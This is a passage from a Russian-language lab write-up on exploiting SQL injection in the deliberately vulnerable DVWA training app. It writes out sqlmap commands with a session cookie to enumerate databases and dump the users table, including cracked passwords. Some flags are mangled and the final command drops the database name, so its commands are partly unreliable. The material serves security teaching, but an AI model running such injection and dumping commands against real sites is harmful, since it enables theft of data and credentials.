Рисунок 8.6 – Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ —tables меняется на -T users, добавляется ключ —dump: «sqlmap -r header. txt -D dvwa -T users – dump». Результаты изображены на рисунке 8.7.
Рисунок 8.7 – Содержимое таблицы users
Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.
9 SQL Injection High
SQL Injection (внедрение кода SQL) – атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.
В DVWA на странице SQL Injection представлена ссылка на форму ввода id пользователя, изображённую на рисунке 9.1.
Рисунок 9.1 – Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap.
Отличительная особенность уровня – ввод данных и вывод данных осуществляются на разных страницах. Для решения этой проблемы будет использоваться аргумент —second-url.
На рисунке 9.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“».
Рисунок 9.2 – Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр – id. Результаты сканирования изображены на рисунке 9.3.
Рисунок 9.3 – Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ —dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ – dbs». Результаты изображены на рисунке 9.4.
Рисунок 9.4 – Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ —tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ -D dvwa – tables». Результаты изображены на рисунке 9.5.
Рисунок 9.5 – Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ —tables меняется на -T users, добавляется ключ —dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ -D -T users – dump». Результаты изображены на рисунке 9.6.
Рисунок 9.6 – Содержимое таблицы users
Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.
10 SQL Injection (Blind) Low
SQL Injection (внедрение кода SQL) – атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода. Blind (слепая) инъекция не выводит пользователю никакой информации. Для получения информации злоумышленник использует предположения о длительности выполнения различных СКАЧАТЬ